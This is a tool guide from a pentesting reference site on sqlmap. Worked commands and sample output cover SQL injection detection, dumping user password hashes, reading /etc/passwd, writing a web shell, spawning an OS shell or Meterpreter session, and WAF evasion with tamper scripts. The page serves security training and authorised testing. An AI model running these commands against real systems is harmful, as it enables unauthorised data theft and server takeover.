Skip to content
HackIndex.io

sqlmap Usage Guide

6 min read Created Sep 13, 2026 Last updated Sep 13, 2026

sqlmap automates SQL injection detection, exploitation, and data extraction. It identifies injection points, determines the database engine, and extracts data through multiple techniques (boolean-blind, error-based, UNION, stacked, time-based, out-of-band). It supports MySQL, MSSQL, PostgreSQL, Oracle, SQLite, and others. Feed it a URL or a saved HTTP request file and it handles the rest. For manual exploitation techniques, see the SQL injection hub.

Basic Usage

Point sqlmap at a URL with an injectable parameter. Use --batch to accept default answers for all prompts.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch 
[*] starting at 12:00:00
[12:00:01] [INFO] testing connection to the target URL
[12:00:02] [INFO] testing if the target URL content is stable
[12:00:03] [INFO] GET parameter 'id' appears to be dynamic
[12:00:04] [INFO] GET parameter 'id' is vulnerable
sqlmap identified the following injection point(s):
Parameter: id (GET)
    Type: boolean-based blind
    Type: error-based
    Type: UNION query
Explain command
-u Target URL with injectable parameter marked by the value.
--batch Non-interactive mode, accepts all default prompts.
--level Test thoroughness (1-5). Higher levels test more parameters including cookies and headers.
--risk Payload risk (1-3). Higher risk includes UPDATE/INSERT-based tests that may modify data.
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --level=5 --risk=3

Level 1 tests only GET/POST parameters. Level 2 adds cookies. Level 3 adds User-Agent and Referer headers. Level 5 tests all HTTP headers. Risk 3 includes heavy queries that may slow the target or modify data.

Request File Input

For POST requests, authenticated endpoints, or complex headers, save the HTTP request from Burp Suite (right-click, Copy to file) and pass it with -r. This preserves cookies, headers, content type, and the full request body.

┌──(kali㉿kali)-[~]
└─$ sqlmap -r request.txt --batch -p username
Explain command
-r Read HTTP request from a file (Burp-saved format).
-p Specify which parameter to test when the request has multiple.

The request file is a raw HTTP request. sqlmap parses the method, URL, headers, and body automatically:

POST /login.php HTTP/1.1
Host: 10.10.10.50
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=abc123

username=admin&password=test

Technique Selection

The --technique flag restricts which injection methods sqlmap tries. This speeds up testing when you already know the injection type or want to avoid noisy techniques.

B = Boolean-based blind
E = Error-based
U = UNION query-based
S = Stacked queries
T = Time-based blind
Q = Inline queries
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --technique=EU
Explain command
--technique=EU Only test error-based and UNION techniques.

Use --technique=T when the application does not reflect data or show error messages. Restrict to --technique=U for fast extraction when UNION injection is confirmed. Avoid S (stacked) and T (time-based) in time-sensitive assessments since they are slow.

Database Enumeration

After confirming injection, enumerate the database structure step by step: databases, tables, columns, then dump the target data.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --dbs 
available databases [3]:
[*] information_schema
[*] mysql
[*] webapp
Explain command
--dbs List all databases accessible to the current user.
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --tables -D webapp 
Database: webapp
[4 tables]
+----------+
| orders   |
| products |
| sessions |
| users    |
+----------+
Explain command
--tables -D webapp List all tables in the specified database.
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --columns -D webapp -T users 
Database: webapp
Table: users
[5 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| email    | varchar(255)|
| id       | int(11)     |
| password | varchar(255)|
| role     | varchar(50) |
| username | varchar(100)|
+----------+-------------+
Explain command
--columns -D webapp -T users List columns in the specified table.
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --dump -D webapp -T users -C username,password 
Database: webapp
Table: users
[2 entries]
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| admin    | 5f4dcc3b5aa765d61d8327deb882cf99 |
| editor   | 8d3533d75ae2c3966d7e0d4fcc69216b |
+----------+----------------------------------+
Explain command
--dump -D webapp -T users -C username,password Dump specific columns from the target table.
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --passwords 
database management system users password hashes:
[*] root [1]:
    password hash: *2470C0C06DEE42FD1618BB9900DFC3
Explain command
--passwords Dump database user password hashes and attempt to crack them.

File Read and Write

sqlmap can read files from the database server filesystem and write files to it, depending on database privileges and configuration.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --file-read=/etc/passwd 
[INFO] the back-end DBMS is MySQL
[INFO] fetching file: '/etc/passwd'
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Explain command
--file-read Read a file from the database server filesystem.

File read uses LOAD_FILE() on MySQL, pg_read_file() on PostgreSQL, or OPENROWSET on MSSQL. Requires the FILE privilege on MySQL or superuser access on PostgreSQL.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --file-write=shell.php --file-dest=/var/www/html/shell.php 
[INFO] the file has been successfully written on the back-end DBMS file system ('/var/www/html/shell.php')
Explain command
--file-write Local file to upload to the server.
--file-dest Full destination path on the server.

OS Shell

sqlmap can spawn an interactive OS shell on the database server through various techniques: UDF injection on MySQL, xp_cmdshell on MSSQL, or COPY FROM PROGRAM on PostgreSQL.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --os-shell 
[INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
www-data
os-shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Explain command
--os-shell Spawn an interactive OS command shell on the server.

On MySQL, --os-shell uploads a UDF shared library or writes a web shell (PHP/ASP). It asks for the web root path. On MSSQL, it uses xp_cmdshell and attempts to enable it if disabled. On PostgreSQL, it uses COPY FROM PROGRAM (requires superuser).

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --os-pwn
Explain command
--os-pwn Spawn a Meterpreter session or VNC connection through the injection point.

Tamper Scripts

Tamper scripts modify payloads before sending them, useful for bypassing WAFs and input filters. Specify one or more with --tamper.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --tamper=space2comment,between
Explain command
--tamper Apply payload modification scripts for WAF bypass.

Common tamper scripts and what they do:

Chain multiple scripts by separating them with commas. Test tamper scripts individually first to identify which bypass works before combining them.

Proxy Integration

Route sqlmap traffic through Burp Suite to inspect and debug requests.

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --proxy=http://127.0.0.1:8080
Explain command
--proxy Route all traffic through the specified proxy.

All sqlmap requests appear in Burp's HTTP history. This helps verify payloads, debug WAF blocks, and understand what sqlmap is testing. Combine with -v 3 for verbose payload output in sqlmap's console.

References